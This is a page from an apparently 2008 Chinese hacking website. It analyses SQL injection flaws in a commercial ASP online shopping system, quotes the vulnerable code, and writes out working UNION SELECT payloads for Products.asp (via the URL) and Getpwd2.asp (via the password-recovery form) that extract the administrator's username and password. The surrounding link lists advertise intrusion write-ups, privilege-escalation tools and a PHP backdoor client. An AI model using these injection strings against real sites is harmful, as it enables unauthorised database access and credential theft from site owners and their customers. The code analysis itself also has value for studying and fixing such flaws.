·	没有路由密码权限时的鸽	08-23	·	上网安全 Vista自我防范	10-11
·	让濒临崩溃的Windows XP	10-11	·	有备无患，快速自制救急	10-11
·	要你好看!Windows看图工	10-11	·	空间赞助网提供不同类型	10-11
·	讨论net.exe和net1.exe的	10-10	·	让3389远程桌面传输更通	10-10
·	巧妙入侵渗透赌博站	10-10	·	Aspx空间扫权限工具	10-10
·	Windows2003最新提权工具	10-10	·	易淘乐提供100M免费全能	10-10
·	系统开机密码忘了不着急	10-09	·	中意网络提供免费100M免	10-09
·	与众不同 Windows XP开始	10-08	·	让桌面图标翻跟斗在XP上	10-08
·	上海宽元站长资助计划-提	10-08	·	个性化Windows XP的任务	10-07
·	趣盘提供3G免费网络硬盘	10-07	·	秀山热线提供200MB免费全	10-07
·	一次艰辛的提权过程	10-06	·	成功入侵IT大卖场的渗透	10-06
·	mysqlhack- MYSQL利用工	10-06	·	lanker一句话PHP后门客户	10-06
·	WIXI提供3G免费多媒体网	10-06	·	新人网络提供100M/ftp免	10-06
·	如何利用QQ带来高流量	10-05	·	UuShare提供免费网络文件	10-05

[组图]对网软网上购物系统的漏洞分析

热荐 ★★★★★

对网软网上购物系统的漏洞分析

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2008-1-9 10:24:46

很糟糕的一套程序，我ASP不太熟悉，哪里写错了还请各位大牛指点！

注入：
共发现3个可注入的地方：
Products.asp 发生在浏览产品的时候
代码如下：

以下是引用片段：

<%set rss=server.CreateObject("adodb.recordset")
rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3 //这里，取得id直接拼到了SQL语句里，注入产生了。！
if rss.eof or bof then
response.write "<script>alert('对不起，没有此商品!');history.go(-1);</script>"
response.end
end if
dim des
if not rss("metad")="" then
des=rss("metad")
end if
if not rss("metak")="" then
keya=rss("metak")
end if
%>
<title><%=webname%>--商品详细信息</title>
<meta name="description" content="<%=des%>">
<meta name="keywords" content="<%=keya%>">
<link href="skin/skin<%=skinid%>/css.css" rel="stylesheet" type="text/css">
</head>
<script language="JavaScript">

</script>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" >
<%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if

这里有一个有趣的问题哈，在查完库以后，才对ID进行检测，不知道这个程序员是怎么想的！
构造注入语句如下：

http://localhost/shangwu/products.asp?id=353 union select '1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1',admin,password,'1','1' from admin

我用的FF，因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉。提交以后，查看网页源代码，得到管理员的账号与密码：

Getpwd2.asp 发生在找回密码的时候，代码如下：

以下是引用片段：
<%
username=request.form("username") //直接从表单里拿到username的值
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [YX_User] where name='"&username&"' " //放入SQL语句执行，注入发生了
rs.open sql,conn,1,1
If rs.eof Then
%>
。。。省略。。。
<%if rs("Clue")<>"" then%>
<tr>
<td width="100%" height="22">

问题：
<font color="red"><%=rs("Clue")%></font> //这里输出Clue列的值，可以利用这里直接输出一个我们想要的列的值

在找回密码的框里输入：

admin' union select
'1','1','1',password,'1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'
,'1','1','1','1','1','1','1','1' from admin where ''='

下一步，直接拿到了管理员密码：

[1] [2] [3] 下一页

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章： Fckeditor<=2.4.2 For php任意上传文件漏洞

下一篇文章： lxblog程序的爆路径方法

【字体：小大】

中介交易区

新云CMS Online.asp页面过滤不严	02-26
对网软网上购物系统的漏洞分析	01-09
测试SQL防注入脚本	12-21
Google Xss又出跨站新漏洞	11-06
一次简单的html injection导致的	11-06
风讯、科讯漏洞利用	11-01
Adobe pdf reader URI利用方式浅	10-23
超星阅览器的最新0DAY	10-19
运用SQL Injection做数据库渗透的	09-22
sa-blog 0day	09-22
HTML注入的一些简单想法	09-10
网站登陆接口的攻与防	09-04